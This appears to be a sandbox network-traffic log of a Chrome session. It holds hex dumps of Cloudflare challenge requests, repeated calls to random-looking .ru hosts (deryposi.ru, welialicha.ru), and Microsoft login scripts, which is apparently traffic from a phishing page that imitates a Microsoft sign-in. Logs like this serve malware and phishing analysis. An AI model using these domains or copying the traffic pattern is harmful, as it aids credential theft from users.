2025-01-07 14:18:34 UTC	1837	OUT	Data Raw: 59 6f 45 56 31 4e 52 33 5a 78 63 39 73 56 2b 54 6e 6d 31 4f 6a 67 51 39 61 5a 51 75 44 72 51 72 6c 73 42 74 6f 2b 50 6e 64 4d 4a 37 36 63 51 38 75 52 6d 6d 41 35 63 55 55 6f 38 77 53 42 74 55 37 37 31 6a 58 6a 31 6f 36 63 30 47 70 68 6f 46 62 6c 54 51 68 44 7a 76 41 7a 57 46 31 56 72 39 76 62 38 45 50 4b 75 56 75 63 24 76 71 54 79 41 38 68 63 4c 35 67 56 55 75 35 54 53 38 6f 4a 55 53 6f 64 70 51 35 4c 72 53 67 74 50 59 41 7a 72 75 37 46 59 6a 36 71 63 64 70 48 63 2d 42 53 2d 53 67 76 76 79 4a 30 53 2d 6f 74 6a 49 4d 6c 74 7a 50 4b 4a 4b 6f 43 2b 51 48 56 6c 32 53 2b 6d 72 59 6f 75 35 4e 31 43 35 75 56 69 68 6f 4b 6f 31 6f 77 37 75 31 4f 54 56 65 45 61 55 4c 4f 63 4a 55 45 42 31 68 6e 62 4b 2d 46 70 30 2b 4c 2b 36 4b 4c 31 4d 54 6f 5a 59 35 50 64 34 6f 2d Data Ascii: YoEV1NR3Zxc9sV+Tnm1OjgQ9aZQuDrQrlsBto+PndMJ76cQ8uRmmA5cUUo8wSBtU771jXj1o6c0GphoFblTQhDzvAzWF1Vr9vb8EPKuVuc$vqTyA8hcL5gVUu5TS8oJUSodpQ5LrSgtPYAzru7FYj6qcdpHc-BS-SgvvyJ0S-otjIMltzPKJKoC+QHVl2S+mrYou5N1C5uVihoKo1ow7u1OTVeEaULOcJUEB1hnbK-Fp0+L+6KL1MToZY5Pd4o-
2025-01-07 14:18:34 UTC	1240	IN	HTTP/1.1 200 OK Date: Tue, 07 Jan 2025 14:18:34 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4624 Connection: close cf-chl-out-s: ZiilBH7G7kAcGNbocVs/rdy69vMcsgdBFDmFdTU2LQfgjSnVaNz9wbUW8+dUsoy1nAtJXnqVxHovxhsS94Zkr55GLVk69zMVyaWLmETUf/2xwpFWnolK96JzalAxggJFRGf/d2fu8n5JKqsXOIteBAcnd+OBzDntUVKr7l+borCnkD7f1JiqECTgjz/CyrCSo5E5iAulHRcUskdgZ0aEd8LuKedF/jiYsJ5wbks/mZf+skEYhr0fK5tY0fx+cyJjAcJNRYr9SmVziSkt/EZcTmvBVE7Dyc11WjJ6hCsyYdaOdkECZMVgJTP4giccJr+qIsQVMTg0uvCrgVW4lXZO6IeWUMRi3EZnHmTrXfvTYOt4jbhk43+PPZvUKAckTM5PayS8WLfQbWwzUwzOode2vTxmMi1vuv7tgkwoWkQyFflxM5W8i2Czrk+56gt5SzXadXL2bClcPozn+QMGGJvjmT/mDkqq9ce8QwLveLcCRZCwQL6rY/UAPbJhXbyl3nQt/0h3EvCeAIcD0ZAOm+NkfH02+ZPmW8iem6I2KlhALzBHTFzTc5x3YJdkng7LgsvP5lC22AHyxX27bpmycOH1kBOAy73lqKFD8EuPvd8z8eIpB5mPufCtaIpz5g85jrXnhMTQloliARJSd40vzA1Y5agQQXAN7dWCDqLUh6LmBy6zQL5JyJXVuSM6/xCm6G1dEmYUN7l9uQ5rMXe7YvGz5otVGsqUbCXnx44cbtrPadE4qIi9EKqqS7kdHT/xHCD6eCgYlu1qFWikQMt+9haoM+eCO38uVF/wzKsEiSndJ19S5oGORTxzsaTTZoEiGRI5w5ALeMnV9+h5eRFl0D8u2aEBVUepw8L31HiEwE+0nSe+t2GT89JtNcIprRT+FtEkS8DDwcOthkTX9PV5zPGgkUwK3Rz4NLwuFmyU/twdQX4aQh/VEfV9oCxvdr+Lr1reHHa2p6u40o9cBbSAQWd5TpVW1KFnwa9o1u4CP5NPDkE7szX0q7 [TRUNCATED]
2025-01-07 14:18:34 UTC	221	IN	Data Raw: 63 66 2d 63 68 6c 2d 6f 75 74 3a 20 53 67 41 54 4a 33 55 33 56 6a 6d 71 6d 42 54 79 6f 31 63 65 76 71 66 2f 69 79 2f 42 63 37 6a 6c 62 52 65 59 56 33 6c 75 76 6b 4a 62 70 32 41 53 71 64 52 6b 35 44 49 64 55 68 48 49 31 67 58 42 43 38 49 6f 62 35 61 61 61 55 38 56 4e 70 34 68 5a 72 4e 45 36 67 68 73 46 4c 5a 71 58 49 35 6d 79 51 4d 56 36 66 55 30 30 41 3d 3d 24 38 6b 69 33 6d 50 47 31 47 51 46 58 67 67 76 49 0d 0a 53 65 72 76 65 72 3a 20 63 6c 6f 75 64 66 6c 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 38 66 65 34 39 33 65 66 34 62 36 63 63 34 37 66 2d 45 57 52 0d 0a 61 6c 74 2d 73 76 63 3a 20 68 33 3d 22 3a 34 34 33 22 3b 20 6d 61 3d 38 36 34 30 30 0d 0a 0d 0a Data Ascii: cf-chl-out: SgATJ3U3VjmqmBTyo1cevqf/iy/Bc7jlbReYV3luvkJbp2ASqdRk5DIdUhHI1gXBC8Iob5aaaU8VNp4hZrNE6ghsFLZqXI5myQMV6fU00A==$8ki3mPG1GQFXggvIServer: cloudflareCF-RAY: 8fe493ef4b6cc47f-EWRalt-svc: h3=":443"; ma=86400
2025-01-07 14:18:34 UTC	1277	IN	Data Raw: 53 6f 79 44 59 57 6c 6e 59 57 70 64 6b 6e 46 6f 56 6f 6c 79 6c 35 78 58 64 31 61 65 63 33 68 79 70 47 4b 59 59 57 2b 42 58 34 57 43 68 6e 6d 58 68 35 79 4d 71 49 6d 76 64 4b 57 43 73 34 79 5a 68 72 65 51 71 58 71 59 66 36 35 2f 73 4c 65 38 6e 59 69 49 74 6f 66 48 7a 71 2b 48 79 38 4c 4a 69 61 6e 48 7a 4b 36 74 6d 4c 57 59 78 35 76 47 6d 4c 57 67 32 4c 6a 66 70 4d 4b 69 34 36 66 67 70 71 7a 41 7a 73 47 37 33 74 2f 44 79 73 6a 57 74 4e 44 75 35 4c 62 52 37 75 71 38 31 76 50 34 32 64 6e 45 39 63 50 7a 78 2f 72 49 35 4e 6a 75 79 67 33 6b 37 73 73 51 42 41 33 74 42 4e 6a 32 31 42 6a 58 2b 64 76 32 46 42 51 43 47 66 51 5a 39 2f 50 38 46 79 6b 6d 4b 65 77 49 4a 77 67 44 49 51 4d 76 4e 69 6f 74 4e 54 73 71 46 52 63 48 39 67 73 41 2b 42 67 46 4f 77 54 2b 52 45 55 Data Ascii: SoyDYWlnYWpdknFoVolyl5xXd1aec3hypGKYYW+BX4WChnmXh5yMqImvdKWCs4yZhreQqXqYf65/sLe8nYiItofHzq+Hy8LJianHzK6tmLWYx5vGmLWg2LjfpMKi46fgpqzAzsG73t/DysjWtNDu5LbR7uq81vP42dnE9cPzx/rI5Njuyg3k7ssQBA3tBNj21BjX+dv2FBQCGfQZ9/P8FykmKewIJwgDIQMvNiotNTsqFRcH9gsA+BgFOwT+REU
2025-01-07 14:18:34 UTC	1369	IN	Data Raw: 53 67 59 52 45 6b 6a 43 30 51 38 44 6b 6c 53 46 42 59 57 57 79 39 56 53 31 77 7a 54 56 4a 57 4f 42 35 46 57 6a 68 65 4e 57 6b 71 51 7a 6c 6d 61 56 6f 39 59 69 39 54 51 58 56 76 61 55 74 79 54 6c 78 52 66 48 6c 70 4e 48 74 57 55 31 65 41 63 6c 4e 47 69 6e 5a 6b 56 34 6c 4d 59 33 43 51 55 6d 64 53 6c 46 5a 72 5a 70 4a 73 68 57 79 62 58 46 4e 64 6b 70 32 68 5a 4a 57 66 6e 6e 69 6e 66 61 47 59 6f 57 2b 50 72 4c 4a 79 70 62 43 75 6a 4b 57 56 72 58 75 79 69 36 36 53 77 70 43 7a 72 72 6d 34 78 71 69 66 79 38 4f 66 74 71 4c 4d 6f 38 47 4d 78 5a 43 4c 70 63 7a 43 79 63 33 62 72 63 57 70 30 64 6a 53 71 74 61 30 7a 61 62 58 30 62 76 71 33 72 7a 68 32 75 54 6e 79 2b 37 79 37 4e 53 2f 36 37 50 4c 31 76 48 51 36 73 37 36 76 37 72 34 2b 4d 50 50 78 66 62 70 34 2f 37 2b Data Ascii: SgYREkjC0Q8DklSFBYWWy9VS1wzTVJWOB5FWjheNWkqQzlmaVo9Yi9TQXVvaUtyTlxRfHlpNHtWU1eAclNGinZkV4lMY3CQUmdSlFZrZpJshWybXFNdkp2hZJWfnninfaGYoW+PrLJypbCujKWVrXuyi66SwpCzrrm4xqify8OftqLMo8GMxZCLpczCyc3brcWp0djSqta0zabX0bvq3rzh2uTny+7y7NS/67PL1vHQ6s76v7r4+MPPxfbp4/7+
2025-01-07 14:18:34 UTC	1369	IN	Data Raw: 4d 64 43 30 59 6a 53 43 56 47 4c 53 56 50 50 53 38 35 4f 56 4d 78 4f 69 31 41 4e 6b 46 42 57 54 74 46 57 31 73 38 58 31 39 75 61 55 70 52 58 6b 39 71 53 45 5a 70 54 30 39 49 62 30 75 43 57 6c 64 78 52 45 56 47 68 55 42 54 51 31 52 73 54 55 75 4e 6b 6b 35 54 6b 59 4e 6e 55 57 2b 4d 56 31 61 48 6d 5a 74 62 6a 6d 78 36 6a 35 52 77 67 6e 35 65 66 57 57 45 72 5a 74 6b 69 59 69 69 69 5a 4a 77 63 5a 43 57 72 49 4b 74 6d 35 6d 73 74 5a 32 4f 66 72 42 2f 78 4c 6d 4f 70 4a 75 49 76 72 61 63 71 6f 54 46 75 59 50 46 78 70 4f 6e 6b 63 2b 35 7a 63 66 58 6d 39 32 5a 31 63 6e 4e 73 4e 2f 65 6e 74 33 65 34 4c 65 34 35 75 57 2f 33 2f 44 61 78 2b 6e 69 73 73 75 79 36 4f 48 35 31 66 54 4f 30 4e 50 78 75 2f 62 52 2b 76 72 62 35 51 44 5a 75 39 55 4a 39 66 6e 62 44 38 33 6e 79 Data Ascii: MdC0YjSCVGLSVPPS85OVMxOi1ANkFBWTtFW1s8X19uaUpRXk9qSEZpT09Ib0uCWldxREVGhUBTQ1RsTUuNkk5TkYNnUW+MV1aHmZtbjmx6j5Rwgn5efWWErZtkiYiiiZJwcZCWrIKtm5mstZ2OfrB/xLmOpJuIvracqoTFuYPFxpOnkc+5zcfXm92Z1cnNsN/ent3e4Le45uW/3/Dax+nissuy6OH51fTO0NPxu/bR+vrb5QDZu9UJ9fnbD83ny
2025-01-07 14:18:34 UTC	609	IN	Data Raw: 6e 53 69 31 5a 54 56 4a 58 48 6b 74 63 4e 56 34 32 5a 44 78 49 4f 6d 73 2b 4f 32 42 73 4b 30 64 6d 62 32 6f 75 56 6d 64 67 51 7a 56 70 63 6a 64 4e 64 6c 4d 2f 56 58 39 41 68 58 74 37 52 56 68 64 67 49 4e 66 52 34 42 67 61 31 47 43 6a 49 5a 6e 6c 6e 6d 4b 59 70 68 62 6b 58 6d 54 58 59 6c 33 6e 49 36 52 65 35 78 35 6f 6e 65 71 6c 70 32 59 6e 6d 79 44 73 36 46 78 69 36 79 32 73 61 56 73 72 34 36 54 72 72 75 34 76 61 4b 35 67 62 57 6b 74 37 43 39 67 4d 43 4a 6f 36 7a 4d 69 36 76 41 78 38 72 4a 6c 64 44 50 72 36 54 61 6d 74 32 63 33 4e 72 4e 7a 74 4c 4f 73 39 76 59 30 74 47 36 32 63 44 48 34 75 72 6c 6f 38 37 76 36 36 65 78 39 63 75 72 75 75 6e 32 7a 38 6a 2b 30 76 4c 53 38 74 54 58 37 2f 34 44 32 39 55 44 42 4d 6f 42 2f 4d 34 43 34 41 4d 4f 42 75 49 55 2b 41 Data Ascii: nSi1ZTVJXHktcNV42ZDxIOms+O2BsK0dmb2ouVmdgQzVpcjdNdlM/VX9AhXt7RVhdgINfR4Bga1GCjIZnlnmKYphbkXmTXYl3nI6Re5x5oneqlp2YnmyDs6Fxi6y2saVsr46Trru4vaK5gbWkt7C9gMCJo6zMi6vAx8rJldDPr6Tamt2c3NrNztLOs9vY0tG62cDH4urlo87v66ex9curuun2z8j+0vLS8tTX7/4D29UDBMoB/M4C4AMOBuIU+A

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.16	49749	104.18.95.41	443	4992	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-07 14:18:35 UTC	599	OUT	GET /cdn-cgi/challenge-platform/h/g/flow/ov1/1244244765:1736256396:4eQx91ZCZiIBwjt3oqc8_CcgZavgzQBPmS8A9uDbAjg/8fe493bb0e5e18d0/swLD91lO_NF.I1vvUgxO.vhR6JEIwznNt2p0TfwB1YA-1736259506-1.1.1.1-z7LmhnT3AGM9H1gTgZrE4gK65BtHK5Avr10DWjVXaIALFxbVwaAKWVk03J5Ducz2 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-07 14:18:35 UTC	379	IN	HTTP/1.1 404 Not Found Date: Tue, 07 Jan 2025 14:18:35 GMT Content-Type: application/json Content-Length: 7 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 cf-chl-out: A4hYeH52YrEykXgx1YRNbpSQ0YF9GDCCOY8=$1EkJGePpWhNJEWDV Server: cloudflare CF-RAY: 8fe493f3fdce8c69-EWR alt-svc: h3=":443"; ma=86400
2025-01-07 14:18:35 UTC	7	IN	Data Raw: 69 6e 76 61 6c 69 64 Data Ascii: invalid

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.16	49751	188.114.96.3	443	4992	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-07 14:18:36 UTC	652	OUT	GET /388206862612550gOYFLOtEMDNSGFJQAGQARAVMTFSTTVFZLMNFZGTR HTTP/1.1 Host: ftrh6jebrvxyaib9ulgvluf6vxzmogfixbkxbwasvzo9kpnhypamr.deryposi.ru Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://oe3.welialicha.ru Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://oe3.welialicha.ru/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-07 14:18:36 UTC	902	IN	HTTP/1.1 200 OK Date: Tue, 07 Jan 2025 14:18:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=MdtwmcL2BQPArGxYLBH%2BueXgtRMrTKeXt%2FI5KN6EcqHIoP48878zj8oZAF51b4BzKHEDH824e2Q%2FF9eePX0MuxRu8yJlsppCTOqMkbcPeKVk9OpfStgaze53a%2BNrkZ%2B4vwpT4wLvTT%2FtFn6qHkPN%2FtD%2B39FfY4YXMFtZgGdUh%2FXak4cWB4RF5frIlXkceIvZDZX93Q%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fe493f7fb229e04-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1897&min_rtt=1887&rtt_var=728&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2827&recv_bytes=1230&delivery_rate=1481481&cwnd=236&unsent_bytes=0&cid=afa537b39f40fa24&ts=563&x=0"
2025-01-07 14:18:36 UTC	6	IN	Data Raw: 31 0d 0a 31 0d 0a Data Ascii: 11
2025-01-07 14:18:36 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.16	49755	188.114.96.3	443	4992	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-07 14:18:37 UTC	444	OUT	GET /388206862612550gOYFLOtEMDNSGFJQAGQARAVMTFSTTVFZLMNFZGTR HTTP/1.1 Host: ftrh6jebrvxyaib9ulgvluf6vxzmogfixbkxbwasvzo9kpnhypamr.deryposi.ru Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-07 14:18:38 UTC	894	IN	HTTP/1.1 200 OK Date: Tue, 07 Jan 2025 14:18:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2B4vAT53Ijz7H27Yi0m%2FTBKU3BsWucp4kTW8DL4qO78LfHss%2FLS2IpbF5CWGqvAeV5JE1fL2ANp3Yf%2FymthRstPJDhBhpwuPGv8NT31wVrHwloSVxq6XXJYOIXqs%2BVUTAakl2S3mKwe1G3xoJNXUEBZzHa7HGZuRgE10UfwLDcJiAm9JvKu22rIUNiMXQNkiG87bhDA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fe49402bc61de92-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1653&min_rtt=1647&rtt_var=631&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2826&recv_bytes=1022&delivery_rate=1717647&cwnd=239&unsent_bytes=0&cid=b0e91b2a6f141760&ts=586&x=0"
2025-01-07 14:18:38 UTC	6	IN	Data Raw: 31 0d 0a 31 0d 0a Data Ascii: 11
2025-01-07 14:18:38 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.16	49776	152.199.21.175	443	4992	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-07 14:18:44 UTC	620	OUT	GET /shared/1.0/content/js/asyncchunk/convergedlogin_pcustomizationloader_27cef08ca792f8e8b149.js HTTP/1.1 Host: aadcdn.msftauth.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://login.microsoftonline.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-07 14:18:44 UTC	750	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Age: 4247080 Cache-Control: public, max-age=31536000 Content-MD5: MGOw2kC0W0ZgL86ZrFPTFQ== Content-Type: application/x-javascript Date: Tue, 07 Jan 2025 14:18:44 GMT Etag: 0x8DD05A56313A35E Last-Modified: Fri, 15 Nov 2024 18:43:24 GMT Server: ECAcc (lhc/78A2) Vary: Accept-Encoding X-Cache: HIT x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: c26802b4-101e-00c9-0e6e-3a3c8a000000 x-ms-version: 2009-09-19 Content-Length: 406986 Connection: close
2025-01-07 14:18:44 UTC	16383	IN	Data Raw: 2f 2a 21 0a 20 2a 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 20 53 54 41 52 54 20 4f 46 20 54 48 49 52 44 20 50 41 52 54 59 20 4e 4f 54 49 43 45 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 20 2a 20 0a 20 2a 20 54 68 69 73 20 66 69 6c 65 20 69 73 20 62 61 73 65 64 20 6f 6e 20 6f 72 20 69 6e 63 6f 72 70 6f 72 61 74 65 73 20 6d 61 74 65 72 69 61 6c 20 66 72 6f 6d 20 74 68 65 20 70 72 6f 6a 65 63 74 73 20 6c 69 73 74 65 64 20 62 65 6c 6f 77 20 28 54 68 69 72 64 20 50 61 72 74 79 20 49 50 29 2e 20 54 68 65 20 6f 72 69 67 69 6e 61 6c 20 63 6f 70 79 72 69 67 68 74 20 6e 6f 74 69 63 65 20 61 Data Ascii: /! ------------------------------------------- START OF THIRD PARTY NOTICE ----------------------------------------- * * This file is based on or incorporates material from the projects listed below (Third Party IP). The original copyright notice a
2025-01-07 14:18:44 UTC	1	IN	Data Raw: 69 Data Ascii: i
2025-01-07 14:18:44 UTC	16383	IN	Data Raw: 3d 4d 61 74 68 2e 6d 69 6e 3b 74 2e 65 78 70 6f 72 74 73 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 76 61 72 20 72 3d 6e 28 74 29 3b 72 65 74 75 72 6e 20 72 3c 30 3f 6f 28 72 2b 65 2c 30 29 3a 69 28 72 2c 65 29 7d 7d 2c 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 72 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 6e 3d 72 28 35 34 33 29 3b 74 2e 65 78 70 6f 72 74 73 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 76 61 72 20 72 3d 5b 5d 5b 74 5d 3b 72 65 74 75 72 6e 21 21 72 26 26 6e 28 28 66 75 6e 63 74 69 6f 6e 28 29 7b 72 2e 63 61 6c 6c 28 6e 75 6c 6c 2c 65 7c 7c 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 31 7d 2c 31 29 7d 29 29 7d 7d 2c 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 72 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 6e Data Ascii: =Math.min;t.exports=function(t,e){var r=n(t);return r<0?o(r+e,0):i(r,e)}},function(t,e,r){"use strict";var n=r(543);t.exports=function(t,e){var r=[][t];return!!r&&n((function(){r.call(null,e\|\|function(){return 1},1)}))}},function(t,e,r){"use strict";var n
2025-01-07 14:18:44 UTC	16383	IN	Data Raw: 31 7d 29 2c 65 7d 28 72 28 36 38 38 29 29 3b 45 2e 72 65 67 69 73 74 65 72 50 61 72 73 65 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 3d 74 7d 2c 45 2e 72 65 67 69 73 74 65 72 52 75 6c 65 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 67 3d 74 7d 2c 45 2e 72 65 67 69 73 74 65 72 41 74 52 75 6c 65 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 6d 3d 74 7d 2c 45 2e 72 65 67 69 73 74 65 72 52 6f 6f 74 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 62 3d 74 7d 2c 74 2e 65 78 70 6f 72 74 73 3d 45 2c 45 5b 22 64 65 66 61 75 6c 74 22 5d 3d 45 2c 45 2e 72 65 62 75 69 6c 64 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 22 61 74 72 75 6c 65 22 3d 3d 3d 74 2e 74 79 70 65 3f 4f 62 6a 65 63 74 2e 73 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 28 74 2c 6d 2e 70 72 6f 74 6f 74 79 70 65 29 3a 22 72 75 6c 65 Data Ascii: 1}),e}(r(688));E.registerParse=function(t){v=t},E.registerRule=function(t){g=t},E.registerAtRule=function(t){m=t},E.registerRoot=function(t){b=t},t.exports=E,E["default"]=E,E.rebuild=function(t){"atrule"===t.type?Object.setPrototypeOf(t,m.prototype):"rule
2025-01-07 14:18:44 UTC	16383	IN	Data Raw: 22 21 3d 74 79 70 65 6f 66 20 41 72 72 61 79 42 75 66 66 65 72 26 26 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 41 72 72 61 79 42 75 66 66 65 72 2e 69 73 56 69 65 77 26 26 28 41 72 72 61 79 42 75 66 66 65 72 2e 69 73 56 69 65 77 28 74 29 7c 7c 74 20 69 6e 73 74 61 6e 63 65 6f 66 20 41 72 72 61 79 42 75 66 66 65 72 29 29 72 65 74 75 72 6e 20 74 2e 62 79 74 65 4c 65 6e 67 74 68 3b 22 73 74 72 69 6e 67 22 21 3d 74 79 70 65 6f 66 20 74 26 26 28 74 3d 22 22 2b 74 29 3b 76 61 72 20 72 3d 74 2e 6c 65 6e 67 74 68 3b 69 66 28 30 3d 3d 3d 72 29 72 65 74 75 72 6e 20 30 3b 66 6f 72 28 76 61 72 20 6e 3d 21 31 3b 3b 29 73 77 69 74 63 68 28 65 29 7b 63 61 73 65 22 61 73 63 69 69 22 3a 63 61 73 65 22 6c 61 74 69 6e 31 22 3a 63 61 73 65 22 62 69 6e 61 72 79 Data Ascii: "!=typeof ArrayBuffer&&"function"==typeof ArrayBuffer.isView&&(ArrayBuffer.isView(t)\|\|t instanceof ArrayBuffer))return t.byteLength;"string"!=typeof t&&(t=""+t);var r=t.length;if(0===r)return 0;for(var n=!1;;)switch(e){case"ascii":case"latin1":case"binary
2025-01-07 14:18:44 UTC	3	IN	Data Raw: 67 3b 66 Data Ascii: g;f
2025-01-07 14:18:44 UTC	16383	IN	Data Raw: 75 6e 63 74 69 6f 6e 20 4e 28 74 29 7b 72 65 74 75 72 6e 20 74 3c 31 36 3f 22 30 22 2b 74 2e 74 6f 53 74 72 69 6e 67 28 31 36 29 3a 74 2e 74 6f 53 74 72 69 6e 67 28 31 36 29 7d 66 75 6e 63 74 69 6f 6e 20 46 28 74 2c 65 29 7b 76 61 72 20 72 3b 65 3d 65 7c 7c 49 6e 66 69 6e 69 74 79 3b 66 6f 72 28 76 61 72 20 6e 3d 74 2e 6c 65 6e 67 74 68 2c 6f 3d 6e 75 6c 6c 2c 69 3d 5b 5d 2c 73 3d 30 3b 73 3c 6e 3b 2b 2b 73 29 7b 69 66 28 28 72 3d 74 2e 63 68 61 72 43 6f 64 65 41 74 28 73 29 29 3e 35 35 32 39 35 26 26 72 3c 35 37 33 34 34 29 7b 69 66 28 21 6f 29 7b 69 66 28 72 3e 35 36 33 31 39 29 7b 28 65 2d 3d 33 29 3e 2d 31 26 26 69 2e 70 75 73 68 28 32 33 39 2c 31 39 31 2c 31 38 39 29 3b 63 6f 6e 74 69 6e 75 65 7d 69 66 28 73 2b 31 3d 3d 3d 6e 29 7b 28 65 2d 3d 33 29 Data Ascii: unction N(t){return t<16?"0"+t.toString(16):t.toString(16)}function F(t,e){var r;e=e\|\|Infinity;for(var n=t.length,o=null,i=[],s=0;s<n;++s){if((r=t.charCodeAt(s))>55295&&r<57344){if(!o){if(r>56319){(e-=3)>-1&&i.push(239,191,189);continue}if(s+1===n){(e-=3)
2025-01-07 14:18:44 UTC	16383	IN	Data Raw: 20 72 2c 6e 2c 6f 3b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 21 3d 74 79 70 65 6f 66 20 65 26 26 6e 75 6c 6c 21 3d 3d 65 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 53 75 70 65 72 20 65 78 70 72 65 73 73 69 6f 6e 20 6d 75 73 74 20 65 69 74 68 65 72 20 62 65 20 6e 75 6c 6c 20 6f 72 20 61 20 66 75 6e 63 74 69 6f 6e 22 29 3b 74 2e 70 72 6f 74 6f 74 79 70 65 3d 4f 62 6a 65 63 74 2e 63 72 65 61 74 65 28 65 26 26 65 2e 70 72 6f 74 6f 74 79 70 65 2c 7b 63 6f 6e 73 74 72 75 63 74 6f 72 3a 7b 76 61 6c 75 65 3a 74 2c 77 72 69 74 61 62 6c 65 3a 21 30 2c 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 7d 7d 29 2c 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 74 2c 22 Data Ascii: r,n,o;return function(t,e){if("function"!=typeof e&&null!==e)throw new TypeError("Super expression must either be null or a function");t.prototype=Object.create(e&&e.prototype,{constructor:{value:t,writable:!0,configurable:!0}}),Object.defineProperty(t,"
